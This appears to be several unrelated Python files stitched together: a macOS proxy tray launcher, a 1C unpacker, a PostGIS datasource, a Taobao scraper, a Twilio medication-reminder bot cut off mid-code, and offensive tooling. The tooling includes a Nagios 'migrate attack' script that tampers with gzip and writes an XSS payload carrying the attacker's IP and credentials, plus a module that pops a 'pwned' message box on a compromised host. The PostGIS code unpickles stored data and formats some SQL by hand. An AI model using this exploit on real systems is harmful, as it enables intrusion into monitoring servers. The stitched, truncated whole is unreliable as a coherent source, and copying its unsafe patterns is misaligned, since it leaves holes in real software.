#!/usr/bin/env python # coding:utf-8 import os import sys current_path = os.path.dirname(os.path.abspath(__file__)) helper_path = os.path.join(current_path, os.pardir, os.pardir, os.pardir, 'data', 'launcher', 'helper') if __name__ == "__main__": python_path = os.path.abspath( os.path.join(current_path, os.pardir, 'python27', '1.0')) noarch_lib = os.path.abspath( os.path.join(python_path, 'lib', 'noarch')) sys.path.append(noarch_lib) osx_lib = os.path.join(python_path, 'lib', 'darwin') sys.path.append(osx_lib) extra_lib = "/System/Library/Frameworks/Python.framework/Versions/2.7/Extras/lib/python/PyObjC" sys.path.append(extra_lib) import config import module_init import subprocess import webbrowser from xlog import getLogger xlog = getLogger("launcher") import AppKit import SystemConfiguration from PyObjCTools import AppHelper class MacTrayObject(AppKit.NSObject): def __init__(self): pass def applicationDidFinishLaunching_(self, notification): setupHelper() loadConfig() self.setupUI() self.registerObserver() def setupUI(self): self.statusbar = AppKit.NSStatusBar.systemStatusBar() self.statusitem = self.statusbar.statusItemWithLength_(AppKit.NSSquareStatusItemLength) #NSSquareStatusItemLength #NSVariableStatusItemLength # Set initial image icon icon_path = os.path.join(current_path, "web_ui", "favicon-mac.ico") image = AppKit.NSImage.alloc().initByReferencingFile_(icon_path.decode('utf-8')) image.setScalesWhenResized_(True) image.setSize_((20, 20)) self.statusitem.setImage_(image) # Let it highlight upon clicking self.statusitem.setHighlightMode_(1) self.statusitem.setToolTip_("XX-Net") # Get current selected mode proxyState = getProxyState(currentService) # Build a very simple menu self.menu = AppKit.NSMenu.alloc().initWithTitle_('XX-Net') menuitem = AppKit.NSMenuItem.alloc().initWithTitle_action_keyEquivalent_('Config', 'config:', '') self.menu.addItem_(menuitem) menuitem = AppKit.NSMenuItem.alloc().initWithTitle_action_keyEquivalent_(getCurrentServiceMenuItemTitle(), None, '') self.menu.addItem_(menuitem) self.currentServiceMenuItem = menuitem menuitem = AppKit.NSMenuItem.alloc().initWithTitle_action_keyEquivalent_('Enable Auto GAEProxy', 'enableAutoProxy:', '') if proxyState == 'pac': menuitem.setState_(AppKit.NSOnState) self.menu.addItem_(menuitem) self.autoGaeProxyMenuItem = menuitem menuitem = AppKit.NSMenuItem.alloc().initWithTitle_action_keyEquivalent_('Enable Global GAEProxy', 'enableGlobalProxy:', '') if proxyState == 'gae': menuitem.setState_(AppKit.NSOnState) self.menu.addItem_(menuitem) self.globalGaeProxyMenuItem = menuitem menuitem = AppKit.NSMenuItem.alloc().initWithTitle_action_keyEquivalent_('Enable Global X-Tunnel', 'enableGlobalXTunnel:', '') if proxyState == 'x_tunnel': menuitem.setState_(AppKit.NSOnState) self.menu.addItem_(menuitem) self.globalXTunnelMenuItem = menuitem menuitem = AppKit.NSMenuItem.alloc().initWithTitle_action_keyEquivalent_('Enable Global Smart-Router', 'enableGlobalSmartRouter:', '') if proxyState == 'smart_router': menuitem.setState_(AppKit.NSOnState) self.menu.addItem_(menuitem) self.globalSmartRouterMenuItem = menuitem menuitem = AppKit.NSMenuItem.alloc().initWithTitle_action_keyEquivalent_('Disable GAEProxy', 'disableProxy:', '') if proxyState == 'disable': menuitem.setState_(AppKit.NSOnState) self.menu.addItem_(menuitem) self.disableGaeProxyMenuItem = menuitem # Reset Menu Item menuitem = AppKit.NSMenuItem.alloc().initWithTitle_action_keyEquivalent_('Reset Each Module', 'restartEachModule:', '') self.menu.addItem_(menuitem) # Default event menuitem = AppKit.NSMenuItem.alloc().initWithTitle_action_keyEquivalent_('Quit', 'windowWillClose:', '') self.menu.addItem_(menuitem) # Bind it to the status item self.statusitem.setMenu_(self.menu) # Hide dock icon AppKit.NSApp.setActivationPolicy_(AppKit.NSApplicationActivationPolicyProhibited) def updateStatusBarMenu(self): self.currentServiceMenuItem.setTitle_(getCurrentServiceMenuItemTitle()) # Remove Tick before All Menu Items self.autoGaeProxyMenuItem.setState_(AppKit.NSOffState) self.globalGaeProxyMenuItem.setState_(AppKit.NSOffState) self.globalXTunnelMenuItem.setState_(AppKit.NSOffState) self.globalSmartRouterMenuItem.setState_(AppKit.NSOffState) self.disableGaeProxyMenuItem.setState_(AppKit.NSOffState) # Get current selected mode proxyState = getProxyState(currentService) # Update Tick before Menu Item if proxyState == 'pac': self.autoGaeProxyMenuItem.setState_(AppKit.NSOnState) elif proxyState == 'gae': self.globalGaeProxyMenuItem.setState_(AppKit.NSOnState) elif proxyState == 'x_tunnel': self.globalXTunnelMenuItem.setState_(AppKit.NSOnState) elif proxyState == 'smart_router': self.globalSmartRouterMenuItem.setState_(AppKit.NSOnState) elif proxyState == 'disable': self.disableGaeProxyMenuItem.setState_(AppKit.NSOnState) # Trigger autovalidation self.menu.update() def validateMenuItem_(self, menuItem): return currentService or (menuItem != self.autoGaeProxyMenuItem and menuItem != self.globalGaeProxyMenuItem and menuItem != self.globalXTunnelMenuItem and menuItem != self.globalSmartRouterMenuItem and menuItem != self.disableGaeProxyMenuItem) def presentAlert_withTitle_(self, msg, title): self.performSelectorOnMainThread_withObject_waitUntilDone_('presentAlertWithInfo:', [title, msg], True) return self.alertReturn def presentAlertWithInfo_(self, info): alert = AppKit.NSAlert.alloc().init() alert.setMessageText_(info[0]) alert.setInformativeText_(info[1]) alert.addButtonWithTitle_("OK") alert.addButtonWithTitle_("Cancel") self.alertReturn = alert.runModal() == AppKit.NSAlertFirstButtonReturn def registerObserver(self): nc = AppKit.NSWorkspace.sharedWorkspace().notificationCenter() nc.addObserver_selector_name_object_(self, 'windowWillClose:', AppKit.NSWorkspaceWillPowerOffNotification, None) def windowWillClose_(self, notification): executeResult = subprocess.check_output(['networksetup', '-listallnetworkservices']) services = executeResult.split('\n') services = filter(lambda service : service and service.find('*') == -1 and getProxyState(service) != 'disable', services) # Remove disabled services and empty lines if len(services) > 0: try: map(helperDisableAutoProxy, services) map(helperDisableGlobalProxy, services) except: disableAutoProxyCommand = ';'.join(map(getDisableAutoProxyCommand, services)) disableGlobalProxyCommand = ';'.join(map(getDisableGlobalProxyCommand, services)) executeCommand = 'do shell script "%s;%s" with administrator privileges' % (disableAutoProxyCommand, disableGlobalProxyCommand) xlog.info("try disable proxy:%s", executeCommand) subprocess.call(['osascript', '-e', executeCommand]) module_init.stop_all() os._exit(0) AppKit.NSApp.terminate_(self) def config_(self, notification): host_port = config.get(["modules", "launcher", "control_port"], 8085) webbrowser.open_new("http://127.0.0.1:%s/" % host_port) def restartEachModule_(self, _): module_init.stop_all() module_init.start_all_auto() def enableAutoProxy_(self, _): try: helperDisableGlobalProxy(currentService) helperEnableAutoProxy(currentService) except: disableGlobalProxyCommand = getDisableGlobalProxyCommand(currentService) enableAutoProxyCommand = getEnableAutoProxyCommand(currentService) executeCommand = 'do shell script "%s;%s" with administrator privileges' % (disableGlobalProxyCommand, enableAutoProxyCommand) xlog.info("try enable auto proxy:%s", executeCommand) subprocess.call(['osascript', '-e', executeCommand]) config.set(["modules", "launcher", "proxy"], "pac") config.save() self.updateStatusBarMenu() def enableGlobalProxy_(self, _): try: helperDisableAutoProxy(currentService) helperEnableGlobalProxy(currentService) except: disableAutoProxyCommand = getDisableAutoProxyCommand(currentService) enableGlobalProxyCommand = getEnableGlobalProxyCommand(currentService) executeCommand = 'do shell script "%s;%s" with administrator privileges' % (disableAutoProxyCommand, enableGlobalProxyCommand) xlog.info("try enable global proxy:%s", executeCommand) subprocess.call(['osascript', '-e', executeCommand]) config.set(["modules", "launcher", "proxy"], "gae") config.save() self.updateStatusBarMenu() def enableGlobalXTunnel_(self, _): try: helperDisableAutoProxy(currentService) helperEnableXTunnelProxy(currentService) except: disableAutoProxyCommand = getDisableAutoProxyCommand(currentService) enableXTunnelProxyCommand = getEnableXTunnelProxyCommand(currentService) executeCommand = 'do shell script "%s;%s" with administrator privileges' % (disableAutoProxyCommand, enableXTunnelProxyCommand) xlog.info("try enable global x-tunnel proxy:%s", executeCommand) subprocess.call(['osascript', '-e', executeCommand]) config.set(["modules", "launcher", "proxy"], "x_tunnel") config.save() self.updateStatusBarMenu() def enableGlobalSmartRouter_(self, _): try: helperDisableAutoProxy(currentService) helperEnableSmartRouterProxy(currentService) except: disableAutoProxyCommand = getDisableAutoProxyCommand(currentService) enableSmartRouterCommand = getEnableSmartRouterProxyCommand(currentService) executeCommand = 'do shell script "%s;%s" with administrator privileges' % (disableAutoProxyCommand, enableSmartRouterCommand) xlog.info("try enable global smart-router proxy:%s", executeCommand) subprocess.call(['osascript', '-e', executeCommand]) config.set(["modules", "launcher", "proxy"], "smart_router") config.save() self.updateStatusBarMenu() def disableProxy_(self, _): try: helperDisableAutoProxy(currentService) helperDisableGlobalProxy(currentService) except: disableAutoProxyCommand = getDisableAutoProxyCommand(currentService) disableGlobalProxyCommand = getDisableGlobalProxyCommand(currentService) executeCommand = 'do shell script "%s;%s" with administrator privileges' % (disableAutoProxyCommand, disableGlobalProxyCommand) xlog.info("try disable proxy:%s", executeCommand) subprocess.call(['osascript', '-e', executeCommand]) config.set(["modules", "launcher", "proxy"], "disable") config.save() self.updateStatusBarMenu() def setupHelper(): try: with open(os.devnull) as devnull: subprocess.check_call(helper_path, stderr=devnull) except: rmCommand = "rm \\\"%s\\\"" % helper_path cpCommand = "cp \\\"%s\\\" \\\"%s\\\"" % (os.path.join(current_path, 'mac_helper'), helper_path) chownCommand = "chown root \\\"%s\\\"" % helper_path chmodCommand = "chmod 4755 \\\"%s\\\"" % helper_path executeCommand = 'do shell script "%s;%s;%s;%s" with administrator privileges' % (rmCommand, cpCommand, chownCommand, chmodCommand) xlog.info("try setup helper:%s", executeCommand) subprocess.call(['osascript', '-e', executeCommand]) def getCurrentServiceMenuItemTitle(): if currentService: return 'Connection: %s' % currentService else: return 'Connection: None' def getProxyState(service): if not service: return # Check if auto proxy is enabled executeResult = subprocess.check_output(['networksetup', '-getautoproxyurl', service]) if ( executeResult.find('http://127.0.0.1:8086/proxy.pac\nEnabled: Yes') != -1 ): return "pac" # Check if global proxy is enabled executeResult = subprocess.check_output(['networksetup', '-getwebproxy', service]) if ( executeResult.find('Enabled: Yes\nServer: 127.0.0.1\nPort: 8087') != -1 ): return "gae" # Check if global proxy is enabled if ( executeResult.find('Enabled: Yes\nServer: 127.0.0.1\nPort: 1080') != -1 ): return "x_tunnel" if ( executeResult.find('Enabled: Yes\nServer: 127.0.0.1\nPort: 8086') != -1 ): return "smart_router" return "disable" # Generate commands for Apple Script def getEnableAutoProxyCommand(service): return "networksetup -setautoproxyurl \\\"%s\\\" \\\"http://127.0.0.1:8086/proxy.pac\\\"" % service def getDisableAutoProxyCommand(service): return "networksetup -setautoproxystate \\\"%s\\\" off" % service def getEnableGlobalProxyCommand(service): enableHttpProxyCommand = "networksetup -setwebproxy \\\"%s\\\" 127.0.0.1 8087" % service enableHttpsProxyCommand = "networksetup -setsecurewebproxy \\\"%s\\\" 127.0.0.1 8087" % service return "%s;%s" % (enableHttpProxyCommand, enableHttpsProxyCommand) def getEnableXTunnelProxyCommand(service): enableHttpProxyCommand = "networksetup -setwebproxy \\\"%s\\\" 127.0.0.1 1080" % service enableHttpsProxyCommand = "networksetup -setsecurewebproxy \\\"%s\\\" 127.0.0.1 1080" % service return "%s;%s" % (enableHttpProxyCommand, enableHttpsProxyCommand) def getEnableSmartRouterProxyCommand(service): enableHttpProxyCommand = "networksetup -setwebproxy \\\"%s\\\" 127.0.0.1 8086" % service enableHttpsProxyCommand = "networksetup -setsecurewebproxy \\\"%s\\\" 127.0.0.1 8086" % service return "%s;%s" % (enableHttpProxyCommand, enableHttpsProxyCommand) def getDisableGlobalProxyCommand(service): disableHttpProxyCommand = "networksetup -setwebproxystate \\\"%s\\\" off" % service disableHttpsProxyCommand = "networksetup -setsecurewebproxystate \\\"%s\\\" off" % service return "%s;%s" % (disableHttpProxyCommand, disableHttpsProxyCommand) # Call helper def helperEnableAutoProxy(service): subprocess.check_call([helper_path, 'enableauto', service, 'http://127.0.0.1:8086/proxy.pac']) def helperDisableAutoProxy(service): subprocess.check_call([helper_path, 'disableauto', service]) def helperEnableGlobalProxy(service): subprocess.check_call([helper_path, 'enablehttp', service, '127.0.0.1', '8087']) subprocess.check_call([helper_path, 'enablehttps', service, '127.0.0.1', '8087']) def helperEnableXTunnelProxy(service): subprocess.check_call([helper_path, 'enablehttp', service, '127.0.0.1', '1080']) subprocess.check_call([helper_path, 'enablehttps', service, '127.0.0.1', '1080']) def helperEnableSmartRouterProxy(service): subprocess.check_call([helper_path, 'enablehttp', service, '127.0.0.1', '8086']) subprocess.check_call([helper_path, 'enablehttps', service, '127.0.0.1', '8086']) def helperDisableGlobalProxy(service): subprocess.check_call([helper_path, 'disablehttp', service]) subprocess.check_call([helper_path, 'disablehttps', service]) def loadConfig(): if not currentService: return proxy_setting = config.get(["modules", "launcher", "proxy"], "smart_router") if getProxyState(currentService) == proxy_setting: return try: if proxy_setting == "pac": helperDisableGlobalProxy(currentService) helperEnableAutoProxy(currentService) elif proxy_setting == "gae": helperDisableAutoProxy(currentService) helperEnableGlobalProxy(currentService) elif proxy_setting == "x_tunnel": helperDisableAutoProxy(currentService) helperEnableXTunnelProxy(currentService) elif proxy_setting == "smart_router": helperDisableAutoProxy(currentService) helperEnableSmartRouterProxy(currentService) elif proxy_setting == "disable": helperDisableAutoProxy(currentService) helperDisableGlobalProxy(currentService) else: xlog.warn("proxy_setting:%r", proxy_setting) except: xlog.warn("helper failed, please manually reset proxy settings after switching connection") sys_tray = MacTrayObject.alloc().init() currentService = None def fetchCurrentService(protocol): global currentService status = SystemConfiguration.SCDynamicStoreCopyValue(None, "State:/Network/Global/" + protocol) if not status: currentService = None return serviceID = status['PrimaryService'] service = SystemConfiguration.SCDynamicStoreCopyValue(None, "Setup:/Network/Service/" + serviceID) if not service: currentService = None return currentService = service['UserDefinedName'] @AppKit.objc.callbackFor(AppKit.CFNotificationCenterAddObserver) def networkChanged(center, observer, name, object, userInfo): fetchCurrentService('IPv4') loadConfig() sys_tray.updateStatusBarMenu() # Note: the following code can't run in class def serve_forever(): app = AppKit.NSApplication.sharedApplication() app.setDelegate_(sys_tray) # Listen for network change nc = AppKit.CFNotificationCenterGetDarwinNotifyCenter() AppKit.CFNotificationCenterAddObserver(nc, None, networkChanged, "com.apple.system.config.network_change", None, AppKit.CFNotificationSuspensionBehaviorDeliverImmediately) fetchCurrentService('IPv4') AppHelper.runEventLoop() def main(): serve_forever() if __name__ == '__main__': main()
python
#!/usr/bin/python3 import argparse import getpass import glob import os import socket import subprocess import time import sys script_description = ( "Prepare current system for migrate attack, output XSS payload\n" "Requires to be run with sudo/root privs for writing files to system dirs" ) def is_port_open(host='localhost', port=22): s = socket.socket() retval = s.connect_ex((host, port)) return retval == 0 gzip_cleanup_command = 'mv `which gzip`.bak `which gzip`' def cleanup_gzip(verbose=False): if verbose: print(f'[*] Cleaning up gzip with: "{gzip_cleanup_command}"') return os.system(gzip_cleanup_command) def check_bundle(): bundle_location = '/tmp/nagiosbundle-*.tar.gz' bundle_glob = glob.glob(bundle_location) if len(bundle_glob) == 1: print(f'[+] Attack bundle @ "{bundle_glob[0]}", will be deleted by Nagios during migration.') elif len(bundle_glob) == 0: print(f'[!] Bundle creation failed; no files matched "{bundle_location}"') exit(-1) elif len(bundle_glob) > 1: print(f'[!] Multiple matching files for "{bundle_glob}", will cause attack to fail') print(bundle_glob) exit(-2) def check_for_migration(): """If migration files are found, delete them and return true""" half_bundle_pattern = '/tmp/nagiosbundle-*.tar' half_bundles = glob.glob(half_bundle_pattern) if half_bundles: for cur_file in half_bundles: subprocess.run(['rm', cur_file]) return True else: return False def main(ip, username, password, xss_payload_path): # This script prints its steps and should cause exception on error subprocess.run('./make_bundle.sh', check=True) check_bundle() with open('migrate_xss_template.html') as f: template_data = f.read() template_data = template_data.replace('$IP', ip) template_data = template_data.replace('$USERNAME', username) template_data = template_data.replace('$PASSWORD', password) with open(xss_payload_path, 'w') as f: f.write(template_data) # If we're in a container, try to print the host path host_mount = os.getenv('HOST_MOUNT') guest_mount = os.getenv('GUEST_MOUNT') if host_mount and guest_mount: xss_payload_path = xss_payload_path.replace(guest_mount, host_mount) xss_payload_path += ' (on the host)' print(f'[+] Wrote populated xss payload to {xss_payload_path}') #print(f'[ ] NOTE: {xss_payload_path} now contains the password in plaintext') listening_locally = is_port_open('localhost', 22) if listening_locally: print(f'[*] SSH Appears to be listening on this host.') if not listening_locally: print(f'[!] SSH does not appear to be listening locally.') cleanup_gzip() exit(1) if __name__ == "__main__": parser = argparse.ArgumentParser( sys.argv[0], description=script_description, ) parser.add_argument("attack_server", help="THIS server's IP or Hostname") parser.add_argument("user", help="Username nagios will log in as (expects root or sudoer)") parser.add_argument("--password", help="Password for user (will be written out in plaintext). Will prompt if not provided.") parser.add_argument("--dont_wait", action='store_true', help="Don't wait for connection (you'll have to clean up gzip)") parser.add_argument("--payload_path", default='./xss_migrate_payload.html', help="Path to write populated XSS payload to") args = parser.parse_args() user = args.user if args.password: password = args.password else: password = getpass.getpass(f'Password for user "{user}": ') main(args.attack_server, user, password, args.payload_path) if args.dont_wait: print('[*] Done. Remember to restore gzip from backup or else tar will be broken!') print(f' Fix with: {gzip_cleanup_command}') else: # This cleans up any leftover files from previous connections check_for_migration() print('[*] Listening until payload is executed and migration runs, CTRL+C to exit...') try: while True: time.sleep(1) if check_for_migration(): # Sleeping an extra bit just to avoid any race possibility time.sleep(1) print('[+] Looks like the server connected, payload should have run.') break except KeyboardInterrupt: print('[*] CTRL+C caught') finally: retval = cleanup_gzip(verbose=True) print(f'[*] Return code: {retval}') print('[*] Done!')
python
import typing from core import scriptercore class LinuxDisplayPwnedMsgBox(scriptercore.Scripter): AUTHOR: str = "Danakane" def __init__(self): super(LinuxDisplayPwnedMsgBox, self).__init__() self.__title__: str = "" self.__text__: str = "" self.customize({"title": "The title of the messagebox", "text": "The message of the messagebox"}) self.configure = self.__doconfig__ def __doconfig__(self, title, text): self.__title__ = title self.__text__ = text def dojob(self) -> None: self.send(str.format("zenity --error --text {0} --title {1} --width=200&", self.__text__, self.__title__)) blueprint: typing.Callable = LinuxDisplayPwnedMsgBox
python
# -*- coding: utf-8 -*- """ Пример распаковки/упаковки контейнеров (cf/epf/ert) при помощи onec_dtools Функционал аналогичен C++ версии v8unpack Copyright (c) 2016 infactum """ import argparse import sys from onec_dtools import extract, build def main(): parser = argparse.ArgumentParser() group = parser.add_mutually_exclusive_group(required=True) group.add_argument('-U', '--unpack', nargs=2, metavar=('in_filename', 'out_dir_name')) group.add_argument('-B', '--build', nargs=2, metavar=('in_dir_name', 'out_filename')) if len(sys.argv) == 1: parser.print_help() return 1 args = parser.parse_args() if args.unpack is not None: extract(*args.unpack) if args.build is not None: build(*args.build) if __name__ == '__main__': sys.exit(main())
python
__author__ = "MetaCarta" __copyright__ = "Copyright (c) 2006-2008 MetaCarta" __license__ = "Clear BSD" __version__ = "$Id: VersionedPostGIS.py 496 2008-05-18 13:01:13Z crschmidt $" from FeatureServer.DataSource import DataSource from vectorformats.Feature import Feature from FeatureServer.DataSource.PostGIS import PostGIS from vectorformats.Formats import WKT try: import cPickle except ImportError: import Pickle as cPickle import uuid class VersionedPostGIS (PostGIS): """A proof of concept for versioned PostGIS-powered geo-database support. Allows 'open tagging', and creates transaction logs for looking through historical changes to the datastore.""" def __init__(self, name, srid = 4326, srid_out = 4326, fid = "id", geometry = "shape", order = "", **args): DataSource.__init__(self, name, **args) self.db = None self.table = "feature" self.fid_col = fid self.geom_col = geometry self.order = order self.srid = srid self.srid_out = srid_out self.dsn = args["dsn"] def begin (self): PostGIS.begin(self) self.txn_uuid = uuid.uuid1().hex sql = """INSERT INTO txn (uuid, actor, message, commit_time) VALUES ('%s', 1, 'message', now());""" % self.txn_uuid cursor = self.db.cursor() cursor.execute(str(sql)) def commit (self): sql = """update txn set bbox = envelope(collect(shape)) from history where history.txn_id = txn.uuid and txn.uuid = '%s'""" \ % self.txn_uuid cursor = self.db.cursor() cursor.execute(str(sql)) PostGIS.commit(self) def insert (self, action): feature = action.feature values = {'geom' : WKT.to_wkt(feature.geometry), 'uuid' : uuid.uuid1().hex, 'attrs': self._serializeattrs(feature.properties)} sql = """INSERT INTO %s (%s, uuid, attrs) VALUES (SetSRID(%%(geom)s::geometry, %s), %%(uuid)s, %%(attrs)s)""" % ( self.table, self.geom_col, self.srid) cursor = self.db.cursor() cursor.execute(str(sql), values) return {} def update (self, action): feature = action.feature sql = """UPDATE %s SET %s = SetSRID(%%(geom)s::geometry, %s), attrs = %%(attrs)s WHERE %s = %(id)d""" % ( self.table, self.geom_col, self.srid, self.fid_col ) values = {'geom' : WKT.to_wkt(feature.geometry), 'id' : action.id, 'attrs': self._serializeattrs(feature.properties)} cursor = self.db.cursor() cursor.execute(str(sql), values) return self.select(action) def select (self, action): cursor = self.db.cursor() if action.id is not None: sql = "SELECT AsText(%s) as fs_binary_geom_col, * FROM %s WHERE %s = %%(%s)d" % ( self.geom_col, self.table, self.fid_col, self.fid_col ) cursor.execute(str(sql), {self.fid_col: action.id}) result = [cursor.fetchone()] else: filters = [] attrs = {} if action.bbox: filters.append( "%s && SetSRID('BOX3D(%f %f,%f %f)'::box3d, %s) and intersects(%s, SetSRID('BOX3D(%f %f,%f %f)'::box3d, %s))" % ( (self.geom_col,) + tuple(action.bbox) + (self.srid,) + (self.geom_col,) + (tuple(action.bbox) + (self.srid,)))) if action.attributes: match = Feature(props = action.attributes) filters = self.feature_predicates(match) attrs = action.attributes sql = "SELECT AsText(%s) as fs_binary_geom_col, uuid, id, attrs FROM %s" % (self.geom_col, self.table) #if filters: # sql += " WHERE " + " AND ".join(filters) if self.order: sql += self.order if action.maxfeatures: sql += " LIMIT %d" % action.maxfeatures else: sql += " LIMIT 1000" if action.startfeature: sql += " OFFSET %d" % action.startfeature cursor.execute(str(sql), attrs) result = cursor.fetchall() # should use fetchmany(action.maxfeatures) columns = [desc[0] for desc in cursor.description] features = [] for row in result: props = dict(zip(columns, row)) geom = WKT.from_wkt(props['fs_binary_geom_col']) if props.has_key(self.geom_col): del props[self.geom_col] del props['fs_binary_geom_col'] props.update(self._deserializeattrs(props['attrs'])) del props['attrs'] fid = props[self.fid_col] del props[self.fid_col] for key, value in props.items(): if isinstance(value, str): props[key] = unicode(value, "utf-8") features.append( Feature( fid, geom, self.geom_col, self.srid_out, props ) ) return features def _serializeattrs(self, properties): import sys print >>sys.stderr, properties return cPickle.dumps(properties) def _deserializeattrs(self, attrstr): return cPickle.loads(attrstr)
python
import requests as reqs import base64 import logging import re import json # 调用淘宝识图请求接口,获取商品源和标签 def taobao_pic_recognize(pic_dir,pic_name,cookie): # with open(pic_dir+'/'+pic_name, "rb") as f: # # b64encode:编码,b64decode: 解码 # base64_data = base64.b64encode(f.read()) imagefile={ "file": (pic_name, open(pic_dir+'/'+pic_name, "rb"), "image/%s" % pic_name.split('.')[1])} header={ 'accept': 'application/json, text/javascript, */*; q=0.01', 'accept-encoding': 'gzip, deflate, br', 'accept-language': 'zh-CN,zh;q=0.9,en;q=0.8', 'cookie': cookie, 'origin': 'https://s.taobao.com', 'referer': 'https://s.taobao.com/search?q=&imgfile=&js=1&stats_click=search_radio_all%253A1&initiative_id=staobaoz_20191105&ie=utf8&tfsid=O1CN01g6xEgi1TxE8ft6Nmb_!!0-imgsearch.jpg&app=imgsearch', 'sec-fetch-mode': 'cors', 'sec-fetch-site': 'same-origin', 'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.70 Safari/537.36', 'x-requested-with': 'XMLHttpRequest'} res_pic=reqs.post('https://s.taobao.com/image',files=imagefile,headers=header, verify=False) print(res_pic.json()['name']) res_alias=reqs.get("""https://s.taobao.com/search?q=&imgfile=&js=1&stats_click=search_radio_all&initiative_id=staobaoz_20191105&ie=utf8&tfsid=%s&app=imgsearch""" % res_pic.json()['name'],{},headers=header,verify=False) #reg=r'<script>+[\W]+g_page_config = ([\w\W]+"map":{}};);+[\W]+<\/script>' reg_alias=r'<script>+[\W]+g_page_config = ([\w\W]+"map":{}})+' m=re.search(reg_alias,res_alias.text,re.M|re.I) data=json.loads(m.group(1)) # 外观相似宝贝 item = data['mods']['itemlist']['data']['collections'][0]#['auctions'][0] # 您可能会喜欢 # item = data['mods']['itemlist']['data']['collections'][1] for i,detail in enumerate(item['auctions']): if i==3: break else: print('商品:',detail['title'],detail['pic_url'],detail['detail_url']) res_detail=reqs.get("https:"+detail['detail_url'],{},headers=header,verify=False) reg_detail=r'"attributes-list"+([\w\W]+)</ul>+' m=re.search(reg_detail,res_detail.text,re.M|re.I) detail=m.group(1).replace('\t','').replace('"','').replace('\'','').replace(' ','').replace('&nbsp;','').replace('\r','').replace('\n','').replace('<li','') field_list=detail.split('</li>') for field in field_list[0:-1]: try: f_obj=field.split('>')[-1].split(':') f_key=f_obj[0] f_value=f_obj[1] print('属性:',f_key,f_value) except Exception as e: print(e) pass
python
from flask import Flask, request, redirect from twilio.twiml.messaging_response import MessagingResponse import pandas as pd import datetime import pytz # the below import is only needed for forwarding the sms, in case the client sends KONTAKT from twilio.rest import Client account_sid = '######################' auth_token = '*********************' client = Client(account_sid, auth_token) # below is the number that is supposed to send out the sms to one of use, in case a client has send KONTAKT happ_num1 = '+14*******' # below is the number on which we will receive the sms with the message that a client requests KONTAKT happ_num2 = '+15*******' app = Flask(__name__) file_path = '/home/.../dummy_patient_table.txt' @app.route("/sms", methods=['GET', 'POST']) def incoming_sms(): """Send a dynamic reply to an incoming text message""" # Get the message and phone number the of the user replying back body = request.values.get('Body', None) phone_num = request.values.get('From', None) # get all the data to this user in a data fram df0 = pd.read_csv(file_path, dtype={'weekday': str}) df0.reminder_start = pd.to_datetime(df0.reminder_start).dt.tz_localize('UTC').dt.tz_convert('Europe/Sofia') df0.reminder_stop = pd.to_datetime(df0.reminder_stop).dt.tz_localize('UTC').dt.tz_convert('Europe/Sofia') df = df0[df0.phone_num == phone_num] # dictionary below turns the weekday number into weekday names for the messages num2wday = {0:'пон.', 1:'вт.', 2:'ср.', 3:'четв.', 4:'пет.', 5:'съб.', 6:'нед.'} # Start our TwiML response resp = MessagingResponse() # Determine the right reply for this message if body == 'INFO': pass # this code word is preserved by twilio, but this can be changed: # https://www.twilio.com/docs/sms/services/advanced-opt-out if body.lower() == 'инфо': m = 'Вие използвате услугата на Хапп за напомняне на приемане на лекарства.\nЗа спиране на услугата напишете STOP\nЗа да се свържем с Вас обратно - KONTAKT\nЗа списък на всички лекарства с включени напомняния - NAPOMNYANIYA\nЗа достъп до листовката на определено лекарство - INFO-[LEKARSTVO], например INFO-AMIDOFEN\nЗа детайли за всички лекарства, които взимате - LEKARSTVA\nЗа списък на всички лекарства които взимате и сте взимали - ISTORIYA' resp.message(m) if body.lower() == 'стоп': # set all the reminder flags of this patient to 0 and save the update df0 to the file df0.reminder_flag[df0.phone_num == phone_num] = 0 # update also the column of the stop date with the current date df0.reminder_stop[df0.phone_num == phone_num] = pytz.timezone("Europe/Sofia").localize(datetime.datetime.now()) # you also need to update the current working version of the dataframe (df) df.reminder_flag[df.phone_num == phone_num] = 0 df.reminder_stop[df.phone_num == phone_num] = pytz.timezone("Europe/Sofia").localize(datetime.datetime.now()) # update the changes also the the original file itself df0.to_csv(file_path, index=False, date_format="%d.%m.%y") m = 'Вие успешно се отписахте от услугата за напомняния на Хапп. Ако искате да я включите на ново отговорете START' resp.message(m) if body.lower() == 'napomnyaniya' or body.lower() == 'напомняния': # sends messages of the kind: # За следните лекарства има включени напомняния: # Амидофен, ден 6 от 14 от услугата: напомняния в 09:00, 15:00, 21:00 # Валериан, ден 3 : 09:00, 17:00, само вторник и петък. # За спиране на напомнянията отговорете STOP. За да активирате напомняния за допълнителни лекарства, моля отговорете с KONTAKT. # select only medications with reminder flag == 1 df = df[df.reminder_flag == 1] df_gr = df.groupby(['medicine','weekday','reminder_start','reminder_stop'])['med_intake_time'].apply(list).reset_index(name='med_intake_time') str_list = ['За следните лекарства има включени напомняния:\n'] for idx,row in df_gr.iterrows(): # create the string 'frequency' that says what weekdays the customer has to take the medications if row.weekday == '0123456': frequency = 'всеки ден' else: frequency = ', '.join(num2wday[day_num] for day_num in row.weekday) # calculate the days since the start of the reminder_start time_delta = datetime.datetime.now(pytz.timezone('Europe/Sofia')) - row.reminder_start days_of_service = time_delta.days med_and_doses = f'{row.medicine}, ден {days_of_service} от услугата: напомняния {frequency} в ' + ', '.join(row.med_intake_time) + '\n' str_list.append(med_and_doses) resp.message(''.join(str_list)) if body.lower() == 'lekarstva' or body.lower() == 'лекарства': #sends message of the kind: # “Детайли за Вашите лекарства: # Амидофен, всеки ден, от 06/10/2020 до 14/10/2020: 1 хапче от 2 мг в 09:00, 2 хапчета от 2 мг в 15:00, 1 хапче от 2 мг в 21:00 # Валериан (06/10/2020-14/10/2020, вторник и петък): 1 хапче от 2 мг в 09:00, 1 хапче от 2 мг в 17:00. # select only medications with reminder flag == 1 df = df[df.reminder_flag == 1] df['dose+time'] = df.dose + ' в ' + df.med_intake_time df_gr = df.groupby(['medicine','weekday','reminder_start','reminder_stop'])['dose+time'].apply(list).reset_index(name='dose+time') str_list = ['Детайли за Вашите лекарства:\n'] for idx,row in df_gr.iterrows(): # create the string 'frequency' that says what weekdays the customer has to take the medications if row.weekday == '0123456': frequency = 'всеки ден' else: frequency = ', '.join(num2wday[day_num] for day_num in row.weekday) med_and_doses = f'{row.medicine}, {frequency}, {row.reminder_start.strftime("%d.%m.%y")}-{row.reminder_stop.strftime("%d.%m.%y")}: ' + ', '.join(row['dose+time']) + '\n' str_list.append(med_and_doses) resp.message(''.join(str_list)) if body.lower() == 'istoriya' or body.lower() == 'история': # is like 'lekasrstva' from above, but shows instead of current medications the ones 